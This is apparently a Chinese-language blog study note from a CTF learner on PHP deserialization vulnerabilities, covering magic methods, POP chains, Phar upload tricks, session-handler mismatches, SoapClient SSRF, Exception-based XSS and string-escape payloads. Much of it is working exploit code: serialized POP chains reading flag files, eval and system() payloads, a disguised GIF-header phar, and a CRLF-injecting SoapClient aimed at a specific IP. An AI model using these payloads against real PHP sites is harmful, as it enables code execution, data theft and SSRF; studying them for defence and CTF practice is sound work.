PHP反序列化漏洞总结

PHP反序列化漏洞总结

基础知识

序列化和反序列化

序列化

序列化就是将 对象object、字符串string、数组array、变量转换成具有一定格式的字符串,方便保持稳定的格式在文件中传输,以便还原为原来的内容。

1
serialize ( mixed $value ) : string

serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。

example:

1
2
3
4
5
6
7
8
9
10
11
class Test {
public $name = "John";
private $age = 18;
protected $sex = "male";
public function say_hello() {
echo "hello";
}
}
$class = new Test();
$class_ser = serialize($class);
print_r($class_ser);

image-20210512174013942

这里面O代表对象;4代表对象名长度;Test是对象名;3是对象里面的成员变量的数量;同时注意到类里面的方法并不会序列化。

类型 结构
String s:size:value;
Integer i:value;
Boolean b:value;(保存1或0)
Null N;
Array a:size:{key definition;value definition;(repeated per element)}
Object O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

注意:当访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同,当我们做题的时候需要注意这一点,%00 虽然不会显示,但是提交还是要加上去。

public : 被序列化的时候属性名 不会更改

protected : 被序列化的时候属性名 会变成 %00*%00属性名

private : 被序列化的时候属性名 会变成 %00类名%00属性名

反序列化

反序列化就是序列化的逆过程。

1
unserialize ( string $str ) : mixed

unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Test {
public $name = "John";
private $age = 18;
protected $sex = "male";
public function say_hello() {
echo "hello";
}
}
$class = new Test();
$class_ser = serialize($class);
print_r($class_ser);
echo "</br>";
$class_unser = unserialize($class_ser);
var_dump($class_unser);

image-20210512175857495

魔法方法

反序列化漏洞里面会涉及到一些魔法方法

__consruct()__destruct()

1
__construct ( mixed ...$values = "" ) : void

PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

1
__destruct ( ) : void

析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class TestClass
{
public function __construct() {
echo "__construct()!!!";
}
public function __destruct() {
echo "__destruct()!!!";
}
}
$class = new TestClass();
$a = serialize($class);
$b = unserialize($a);
echo "</br>";
unset($class);

以上例程会先输出__construct()!!!然后再输出__destruct()!!!。同时我们要注意到,当我们对一个类对象进行实例化的时候,是不会触发__construct方法的。

__sleep()__wakeup()

1
2
public __sleep ( ) : array
public __wakeup ( ) : void

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。与之相反,unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Test {
public $name = "John";
private $age = 18;
protected $sex = "male";
public function say_hello() {
echo "hello";
}

public function __sleep() {
echo "__sleep!! ";
return array('name', 'age', 'sex');
}
public function __wakeup() {
echo "__wakeup()!! ";
}
}
$class = new Test();
$class_ser = serialize($class);
print_r($class_ser);
echo "</br>";
$class_unser = unserialize($class_ser);
var_dump($class_unser);

image-20210512200705336

__toString()

1
public __toString ( ) : string

__toString()方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
class TestClass
{
public $foo;
public function __construct($foo) {
$this->foo = $foo;
}
public function __toString() {
return $this->foo;
}
}

$class = new TestClass('Hello');
echo $class;

以上例程会输出Hello

__toString()触发方式比较多:

  1. echo ($obj) / print($obj) 打印时会触发
  2. 反序列化对象与字符串连接时
  3. 反序列化对象参与格式化字符串时
  4. 反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型)
  5. 反序列化对象参与格式化SQL语句,绑定参数时
  6. 反序列化对象在经过php字符串函数,如 strlen()addslashes()
  7. in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
  8. 反序列化的对象作为 class_exists() 的参数的时候

属性重载

1
2
3
4
public __set ( string $name , mixed $value ) : void
public __get ( string $name ) : mixed
public __isset ( string $name ) : bool
public __unset ( string $name ) : void

在给不可访问属性赋值时,__set()会被调用。

读取不可访问属性的值时,__get() 会被调用。

当对不可访问属性调用 isset()empty() 时,__isset() 会被调用。

当对不可访问属性调用 unset() 时,__unset() 会被调用。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Class User{
private $id = "666";

function __get($id){
echo"call __get"."</br>";
}
function __set($id, $value){
echo "call __set"."</br>";
}
function __isset($id){
echo "call __isset"."</br>";
}
function __unset($id){
echo "call __isset"."</br>";
}
}

$obj = new User();
$obj->id; //输出call __get
$obj->id = 1; //输出call __set
isset($obj->id); //输出call __isset
unset($obj->id)); //输出call __unset

__call()

1
public __call ( string $name , array $arguments ) : mixed

在对象中调用一个不可访问方法时,__call() 会被调用。

example:

1
2
3
4
5
6
7
8
9
class MethodTest {
public function __call($name, $arguments) {
// 注意: $name 的值区分大小写
echo "Calling object method '$name' ". implode(', ', $arguments). "\n";
}
}

$obj = new MethodTest;
$obj->runTest('in object context');

上述例程会输出Calling object method 'runTest' in object context

__invoke()

1
__invoke ( $... = ? ) : mixed

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

example:

1
2
3
4
5
6
7
8
class CallableClass 
{
function __invoke($x) {
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);

上述例程会输出int(5)

反序列化漏洞

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

魔法方法的作用

从上面的序列化和反序列化的知识我们可以知道,对象的序列化和反序列化只能是里面的属性,也就是说我们通过篡改反序列化的字符串只能获取或控制其他类的属性,这样一来利用面就很窄,因为属性的值都是已经预先设置好的,如果我们想利用类里面的方法呢?这时候魔法方法就派上用场了,魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。

魔法方法的简单利用

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class demo {
var $test;
function __construct() {
$this->test = new L();
}

function __destruct() {
$this->test->action();
}
}

class L {
function action() {
echo "function action() in class L";
}
}

class Evil {
var $test2;
function action() {
eval($this->test2);
}
}

unserialize($_GET['test']);

首先我们能看到unserialize()函数的参数我们是可以控制的,也就是说我们能通过这个接口反序列化任何类的对象(但只有在当前作用域的类才对我们有用),那我们看一下当前这三个类,我们看到后面两个类反序列化以后对我们没有任何意义,因为我们根本没法调用其中的方法,但是第一个类就不一样了,虽然我们也没有什么代码能实现调用其中的方法的,但是我们发现他有一个魔法函数__destruct() ,这就非常有趣了,因为这个函数能在对象销毁的时候自动调用,不用我们人工的干预,接下来让我们看一下怎么利用。

我们看到__destruct()里面只用到了一个属性test,再观察一下哪些地方调用了action()函数,看看这个函数的调用中有没有存在执行命令或者是其他我们能利用的点的,果然在 Evil 这个类中发现他的 action()函数调用了eval(),那我们的想法就很明确了,只需要将demo这个类中的test属性篡改为 Evil这个类的对象,然后为了eval 能执行命令,我们还要篡改Evil对象的test2 属性,将其改成要执行的命令。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class demo {
var $test;
function __construct(){
$this->test = new Evil(); //这里将 L 换成 Evil
$this->test->test2 = "phpinfo();"; //初始化对象 $test2 值
}
function __destruct(){
$this->test->action();
}
}
class Evil {
var $test2;
function action(){
eval($this->test2);
}
}

$demo = new demo();
$data = serialize($demo);
var_dump($data);

以上脚本输出:

image-20210513095753457

结果:

image-20210513100005156

这样就完成了一个简单的PHP反序列化漏洞的利用。

通过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者流程

  1. 寻找unserialize()函数的参数是否有我们的可控点;
  2. 寻找我们的反序列化的目标,重点寻找存在 wakeup()destruct() 魔法函数的类;
  3. 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的;
  4. 找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击。

PHP反序列化POP链

POP链介绍

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

POP链demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value) {
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show {
public $source;
public $str;
public function __construct($file='index.php') {
$this->source = $file;
echo $this->source.' Welcome'."<br>";
}
public function __toString() {
return $this->str['str']->source;
}

public function _show() {
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}

public function __wakeup() {
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test {
public $p;
public function __construct() {
$this->p = array();
}

public function __get($key) {
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello'])) {
unserialize($_GET['hello']);
} else {
$show = new Show('pop3.php');
$show->_show();
}

寻找POP链过程:

  1. 首先找到unserialize(),发现里面的参数可控;
  2. 接着寻找能够利用的魔方方法,一般是__wakeup()或者__destruct(),这里发现Show类里面有__wakeup()
  3. __wakeup()里面使用了preg_match()函数对传进去的参数进行字符匹配,这里如果我们传进去的参数是对象的时候,就能够触发__toString()魔法方法;
  4. __toString()方法中试图获取属性$str中的key为str的值,如果我们传进去的$str['str']是一个类对象中不可访问的属性时,就能够触发__get()魔法方法;
  5. 接着寻找有魔法方法__get()的类,发现Test类里面有这个魔法方法;
  6. Test类里面的__get()方法对参数$p作为函数名字进行调用,如果这时候的$p是一个类对象的话,就会触发__invoke()魔法方法;
  7. 寻找存在魔法方法__invoke()的类,发现Read类里面有这个魔法方法;
  8. Read类里面的__invoke()方法会读取参数$var里面的内容,并输出;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Read {
public $var = flag.php;
}

class Show {
public $source;
public $str;
}

class Test {
public $p;
}

$r = new Read();
$s = new Show();
$t = new Test();
$t->p = $r;
$s->str['str'] = $t;
$s->source = $s;
echo urlencode(serialize($s));

输出:

1
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3Ba%3A1%3A%7Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A3%3A%22var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D%7D 

这里进行URL编码的原因是私有和保护属性会有%00字符,直接输出会显示空格

image-20210513113316300

Phar反序列化

Phar原理

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

img

Phar demo

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。

要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new TestObject();
$o->data = 'hello';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

访问后,会生成一个phar.phar在当前目录下。

image-20210513162258854

可以明显的看到meta-data是以序列化的形式存储的。

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇测试后受影响的函数列表:

img

就用比较常用的函数file_get_contents()函数举例:

1
2
3
4
5
6
7
8
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
file_get_contents('phar://phar.phar/test.txt');

上述例程会输出hello

将Phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class TestObject {
}
$phar = new Phar('img.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'ca01h';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>

image-20210513164756846

采用这种方法可以绕过很大一部分上传检测。

Phar反序列化漏洞利用

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

Phar简单利用

index.html

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="./upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php

仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
} else {
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
} else {
echo "Invalid file,you can only upload gif";
}

evil.php

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}

绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过。

用下面的代码生成phar文件:

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$o->data = "phpinfo();";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

生成的phar.phar修改后缀名phar.gif,再上传该文件,用phar协议解析:

image-20210513172424974

Session反序列化

PHP的Session机制

在学习 session 反序列化之前,我们需要了解这几个参数的含义。

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

那么具体而言,在默认配置(php)情况下:

1
2
session_start()
$_SESSION['name'] = 'ca01h';

image-20210513212129402

SESSION文件的内容是:name|s:5:"ca01h",name是键值,s:5:"ca01h";serialize("ca01h")的结果。

在php_serialize引擎下:

1
2
3
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'ca01h';

image-20210513212627475

SESSION文件的内容是a:1:{s:4:"name";s:5:"ca01h";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

1
2
3
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'ca01h';

image-20210513212803906

这里我输出的内容和别人的不一样,求解?

Session反序列化的漏洞原因

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

1
$_SESSION['hello'] = '|O:8:"stdClass":0:{}'; 

上面的 $_SESSION 数据,在存储时使用的序列化处理器为 php_serialize,存储的格式如下:

1
a:1:{s:5:"hello";s:20:"|O:8:"stdClass":0:{}";}

在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:

1
2
3
4
5
array(1) {
["a:1:{s:5:"hello";s:20:""]=>
object(stdClass)#1 (0) {
}
}

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:5:"hello";s:20:"作为SESSION的key,将O:8:"stdClass":0:{}作为value,然后进行反序列化,最后就会得到stdClass这个类。

实际利用的话一般分为两种:

  • session.auto_start=On

当配置选项 session.auto_start=On,会自动注册 Session 会话(相当于执行了session_start()),因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的。因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话。然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题。

1
2
3
4
5
6
7
8
9
10
11
12
//foo1.php
<?php
if(ini_get('session.auto_start')) {
session_destroy();
}

ini_set('session.serialize_handler', 'php_serialize');
session_start();

if(isset($_GET['test'])) {
$_SESSION['test'] = $_GET['test'];
}

访问http://172.31.171.100/tmp/foo1.php?test=|O:8:%22stdClass%22:0:{}

image-20210513214442376

1
2
3
// foo2.php
<?php
var_dump($_SESSION);

image-20210513214755128

php.ini配置中session_use_trans_sid = 1才能跨页面访问SESSION

  • session.auto_start=Off

当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// foo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['test'] = $_GET['test'];
// foo2.php
<?php
session_start();

class test {
var $hi;

function __wakeup() {
echo 'hi,';
}
function __destruct() {
echo $this->hi;
}
}

访问连接:http://172.31.171.100/tmp/foo1.php?test=|O:4:"test":1:{s:2:"hi";s:4:John";}

再访问foo2.php就会发生反序列化漏洞

image-20210513230623054

session.upload_progress

session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefixsession.upload_progress.name连接在一起的值。并且当文件上传完成的时候,这个session会被立即删除。

也就是说,我们通过构造一个上传文件的表单,将其中一个参数的名字设置为session.upload_progress.name的值(这个值能在phpinfo看到),PHP检测到这种POST请求的时候就会往$_SESSION里面填入这个参数的值,从而能够用来设置session。然后通过条件竞争来读取session文件的内容。

example:

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">       
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

这里的session.upload_progress.name的值为PHP_SESSION_UPLOAD_PROGRESS,这样就把123写入了session里面。当PHP环境存在session反序列化漏洞,但是又没有直接控制session值的方法时,可以利用这个方法。

原生类反序列化利用

SoapClient

SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

php中的SoapClient类可以创建soap数据报文,与wsdl接口进行交互。

1
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

第一个参数用来指明是否是wsdl模式。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置locationuri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

其中$options数组下有个user_agent选项,我们可以利用该选项来自定义User-Agent。而在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。

还有一点就是SoapClient类的__call魔法方法,当调用这个方法时能够对内网进行访问,构成SSRF攻击。

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

Error/Exception

Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个toString的方法。

Exception类跟Error类原理一样,但是也适用于PHP5

example:

1
2
3
<?php
$a = $_GET['test'];
echo unserialize($a);

POC

1
2
3
<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));

得到编码后的反序列化结果:

1
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A27%3A%22%2Fvar%2Fwww%2Fhtml%2Ftmp%2Fadmin.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D 

效果:

image-20210514172735929

反序列化字符逃逸

PHP在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。

字符逃逸的本质其实也是闭合,但是它分为两种情况,一是字符变多,二是字符变少。

字符增多

字符增多就是后端对我们输入的序列化后的字符进行替换称为长度更长的字符

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function filter($string){
$filter = '/p/i';
return preg_replace($filter,'WW',$string);
}
$username = $_GET['username'];
$age = '24';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

这里通过filter()函数对我们输入的内容进行检查,将字符p替换成ww,再进行反序列化。

正常情况下,我们输入的内容没有字符p的时候并不会出现问题:

image-20210518202551751

当输入的内容存在p字符的时候,由于过滤之后的字符数变多了,并不复合序列化的规则,所以进行反序列化的时候会报错。

image-20210518202524197

如果我们年龄修改为其他,比如18,那么可以通过构造username的值来使得age的值改变

  • 首先是构造age值得序列化后的字符";i:1;s:2:"18";},前面的"是为了闭合前一个元素username的值,最后的}是为了闭合这一个数组,抛弃后面的内容。
  • 然后数上面构造的这一串有多少个字符,这里有16个字符,因此需要通过filter()函数之后变多16个字符,使得我们构造的这一部分内容能够逃出username的范围,称为独立的一个元素。由于这里一个字符p会变成2个w字符,因此每一个p就会多出一个字符,所以这里需要16个字符p

payload:

1
?username=pppppppppppppppp";i:1;s:2:"18";}

image-20210518203627470

字符减少

字符减少就是后端对我们输入的序列化后的字符进行替换称为长度更短的字符

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function filter($string){
$filter = '/xx/i';
return preg_replace($filter,'s',$string);
}
class
$username = $_GET['username'];
$age = $_GET['age'];
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

还是上面的例子,其中这里的$age可控,但是是将输入的字符串中的xx替换为s,如果我们这里想插入一个新的参数,比如想在第二个参数插入hello,那么我能可以尝试让前一个参数进行字符减少,把后面的参数的key作为前一个参数的值吞掉,把后一个参数的value作为新的键值对变成新的变量

image-20210520210651576

绕过

利用 16 进制绕过过滤

将示意字符串的s改为大写S时,其值会解析 16 进制数据
例如:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
可改为:O:4:"Test":1:{S:3:"\63md";S:6:"\77hoami";}

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
class Test{
public $cmd;
function __destruct(){
echo '<br>';
system($this->cmd);
}
}
function check($data){
if(stristr($data, 'cmd')!==False){
echo("想换我CMD,没这个可能!");
}
else{
return $data;
}
}

$test = $_GET['cmd'];
$test = check($test);
$test_n = unserialize($test);
?>

当传入O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}时,可以发现无法绕过过滤函数

image-20210518162452782

修改为大写S时,可以看到成功

image-20210518162427036

参考资料

PHP 反序列化漏洞入门学习笔记

PHP反序列化漏洞学习——基础篇

PHP反序列化学习——Phar反序列化

PHP反序列化漏洞学习——Session反序列化

从两道CTF题目学习PHP原生类反序列化利用


PHP反序列化漏洞总结
https://k1nm0.com/2022/10/23/PHP序列化漏洞总结/
作者
K1nm0
发布于
2022年10月23日
许可协议